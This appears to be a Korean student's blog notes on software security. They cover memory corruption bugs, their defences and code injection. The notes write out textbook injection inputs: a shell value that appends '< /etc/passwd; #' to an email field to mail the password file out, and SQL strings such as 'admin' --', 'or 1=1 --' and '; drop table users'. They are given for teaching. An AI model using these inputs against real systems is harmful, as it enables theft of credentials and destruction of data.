본문 바로가기
Study/Software Security

[소프트웨어보안] 프로그래밍 관점에서의 소프트웨어 보안

by 8희 2022. 12. 6.

프로그래머의 잘못된 가정

프로그래머가 갖는 잘못된 신뢰 가정

1. 운영체제는 안전하고, 방화벽은 트랙픽을 필터링한다.

2. 네트워크에서 오는 입력은 안전할 것이다.

3. 컴파일된 프로그램은 읽을 수 없다.

- 단지 읽기 어려운 것일
- 모호하지만, 감추지 않음(난독화의 경우라도)
- 리버싱도구의 진화
   • 코드에 담겨진 비밀 내용이 나타남
   • 클라이언트/서버의 통신이 악용될 수 있음

4. 나의 웹페이지는 입력을 점검할 것이  다. 따라서 프로그램에 데이터가 도착할 적정한  포멧을 가질 것이다.

- 직접 http 요청을 제작
- 요청을 보내기 직전에 변경
- 모든 입력은 서버 측에서 재검증해야함
- 특별한 인코딩이 포함되어 있을 수 있음
 

Memory corruption attacks

memory corruption

1. Mistaking size of memory

인덱스가 0부터 시작돼서 맨 마지막 걸 하나 더 카운트하게 되는 문제

 

2. Forgetting string terminator

C string의 특징: 문자열 맨 마지막 끝에 널 문자가 들어 간다.

-> 그러나 strlen() 널 문자 카운팅 X (널 문자는 문자열이 아니니까)

-> 따라서 user가 buf보다 한 바이트 더 크므로 strcpy가 제대로 안 될 것이다.

 

3. Integer overflow

n = width * height을 해서 buf 공간의 크기보다 n의 크기가 크면 Integer overflow가 발생할 수 있는데

현재 이 코드에서는 그런 n을 가지고 malloc()를 이용해 공간을 할당하고자 한다.

-> width와 height을 외부에서 받아들인다는 것 자체가 문제가 될 수 있다.

 

4. Type confusion (형 변환) 

Type safety
- 명확하게 데이터 타입에 대한 원칙을 명시하고 있으며,
- 데이터의 값이 프로그램이 실행되고 있는 동안에 원칙에  따라 유지되고 있어야 한다.
Flexible typing
- 암묵적 형변환(Implicit type conversion)
- 명시적 형변환(Explicit type conversion)
- 안전하지 않은 숫자의 변환은 값의 변형 가져 온다.
 
5. Signed integer comparison

socked 프로그래밍 과정 중 상대방이 보내는 데이터의 양은 통제할 수 없다.

-> 외부에서 들어오는 입력의 크기가 아주 큰 경우에는 이를 저장하는 변수인 length가 음의 정수가 될 수 있다. (signed int니까!)

 

memory corruption 대응

1. 증상에 대처(Treat the symptoms)

실행 컴파일 특별한 기술 적용 (ex. Canary, NX 모드, AXLR)
공격으로 인한 피해의 제한

- Containment(방지): 공격으로 인한 피해가 빠져나오지 못하도록 하는 것

- Curtailment(제한): 공격으로 인한 피해가 빠져나오는 순간 지워버리는 것

 

2. 원인의 제거(Treat the cause)

- 코드가 취약점을 갖지 않도록

- 코드 검토분석 도구 통한 안전한 프로그래밍 (ex. cppcheck)

 

3. 방어적 프로그래밍 - 경계 점검

방어적 프로그래밍 방법은 경계의 검사
- 쓰기 데이터 길이 검사 (Check data lengths before  writing)
- 배열의 첨자가 범위 안에 있는 검사 (Check array  subscripts are within limits)
- 경계 조건들을 점검하여  Off-by-One 에러를 피함(Check  boundary conditions to avoid OBO)
- 입력의 길이를 제한(Constrain size of inputs)
- 위험한 코드를 실행할 있는 위험한 API 호출을 경계(Beware  of dangerous API calls to risky code)
경계 점검의 책임

 

- 다른 보안 점검처럼... 책임의 분산(shared responsibility)
- 프로그래머, 프로그래밍 언어 및 컴파일러, 운영체제가 책임을 분명히 하기 위해서 책임을 나눠 가진다.
 

코드 주입(Code Injection) 공격의 이해

명령어의 주입 - 쉘의 활용

프로그래머는 시스템 명령 호출 응용프로그램 드에 삽입
- 명령어 쉘은 이러한 입력을 번역(Interpret)
Why are they used?
- 프로그래밍 언어가 명령에 해당하는 라이브러리를 갖고  있지 않음
- 편리성, 시간 절약
   • 명령어 쉘을 사용하는 것이 라이브러리를 쓰는 것보다 쉬움

- recipient는 웹의 입력 폼에서 받음
- 반드시 적절한 e-mail 주소여야 함

ex.  niceperson@friendlyplace.com

 

- 그런데 공격자가 이를 제어 가능

attacker@hotmail.com < /etc/passwd; #

- 패스워드 파일의 내용이 공격자의 e-mail로 전송

 

패스워드 파일의 내용이 공격자의 e-mail 전송 하고,

공격자의 컴퓨터에서 X터미널 실행

 

명령어의 주입 - 웹 환경

example: servlet code

 

1. Nomal usage
사용자 입력.
- user submits login=“john and pin=“1234
완성 구문. SQL issued:
- SELECT accounts FROM users WHERE login=’john’ AND  pin=1234
 
2. Malicious usage

 사용자 입력.

- user submits login="admin’ --" and pin="0"
 
 완성 구문. SQL issued:
- SELECT accounts FROM users WHERE login=’admin’ --’ AND pin=0
 
-> Double dash(--)는 query 이후 부분을 무시하도록 한다.
 

명령어의 주입 – 웹환경에서는? 조금 더 보면 Forms of SQL code injected

1.항진명제. Tautologies
• 항상 참으로 검증되는 코드 삽입

SELECT accounts FR  RE

login=’’ or 1=1 -- AND pin=

 

-> 1=1이 무조건 참이고 or로 연결돼 있으므로 login=‘’거짓이어도 결론은 참이 된다.
 
항진명제의 차단은 어려움. Blacklisting tautologies is  difficult
- 여러 경우들. Many ways of writing them:
   • 1>0, ’x’ LIKE ’x’, . . .
- 쿼지 항진명제 Quasi tautologies: very often true  RAND()>0.01, . . .

 

2. Piggy-backed queries
쿼리의 피기백. Inject a second, distinct query:

SELECT accounts FROM users WHERE

login=’doe’; drop table users -- ’ AND pin=123

 

- 명령의 구분. Database parses second command after ‘;’
- 두 번째 쿼리 수행. Executes second query, deleting  users table
 
3. Inference pairs
- 에러가 명확하지만 보이지 않는 경우
- 두 쿼리의 결과 차이를 통해 정보를 추출
- Bilnd Injection(눈에 보이는 출력의 차이 비교) / Timing Attack(이진 연산에 대한 응답 시간의 차이를 통해 추측)
 

로건 파라미터 취약점 검사

Step 1. always true:

login=’legalUser’ and 1=1 --

- 응답: INVALID PASSWORD

- 공격자의 생각: 잘못된 입력이 탐지 됐거나 패스워드 점검이 분리되어 실행

 

Step 2. always false:

login=’legalUser’ and 1=0 --

- 응답: INVALID USERNAME AND PASSWORD

- 공격자의 생각:1=1을 입력했을 때와 1=0을 입력했을 때의 응답이 다르므로 로건 파라미터 인젝션이 가능하겠군

 

4. Stored procedures and other DBMS features

- SQL도 프로시져를 만들어서 활용 가능- 스크립트 언어 형태

 

 

• xp_cmdshell

- Microsoft SQL Server에서 제공

- DB에서 운영체제의 명령 수행

- DBMS에서 운영체제의 명령어를 사용하고 싶을 때 사용되는 것

- 편의를 위해 사용

 


프로그래머의 책임은 어디까지 인가?

프로그래머의 점검 -> 한계

방어적 프로그래밍 - 경계 점검을 안 한 코드

 

매번 점검 성능에 영향
- 점검할 필요가 있는지?
- 그냥 넘어가고 싶은 상황
 
- 만일 경계가 계산대상이 되면, 두번 점검은 필수적
- 프로그래머의 점검은 한계를 가짐
 

프로그래밍 언어의 안전성

• 프로그램 언어의 특성이 자동적으로 memory safety와  type safety를 제공
• Memory safety : 임의의 메모리 주소에 데이터를 읽고 쓰 는 것을 불허. Corrupted된 메모리로부터의 overflow 공격을 막게 됨.
• Type safety : 데이터 전달 시 명확한 데이터 형을 명시하도 록 하여 임의의 데이터가 전달되는 것을 차단함. 공격자들이 데이터 영역에 이진코드를 주입하여 실행하는 것을 어렵게 함.

 

컴파일러와 도구를 활용한 안전성 확보

• 안전하지 않은 언어를 사용할 때 안전성의 보장을 위해
- safe compiler – 자동으로 점검 코드를 생성하여 실행 도중 경계  와 데이터 타입을 점검
- a verifying compiler – 정적으로 컴파일 시에 코드가 안전한지를  점검
- security testing tools – security bugs를 찾기 위해 입력을 생성  하여 입력해보는 도구
- program analysis tools – 소스 코드가 특정 취약점이 있는지를  확인
 

라이브러리 관점의 안전성

• 안전하지 않는 함수와 이의 설명을 검토

- Microsoft’s recommendations
- CERT Secure C Coding
 
• Code security scanning tool을 사용
- 위험한 API 호출 탐지기능 보유
- 코드를 찾는 것은 쉽지만, 특정 취약점을 식별하기 위해 깊은 분석이 필요
- Examples: RATS, cppcheck, SPLint, Clang.
 
• 안전한 라이브러리를 선택사용
- The Safe C Library – Visual Studio 2005.부터
- 경계 점검은 최근 발표된 C11 standard의 일부 (appendix K, also ISO/IEC  TR 24731-1)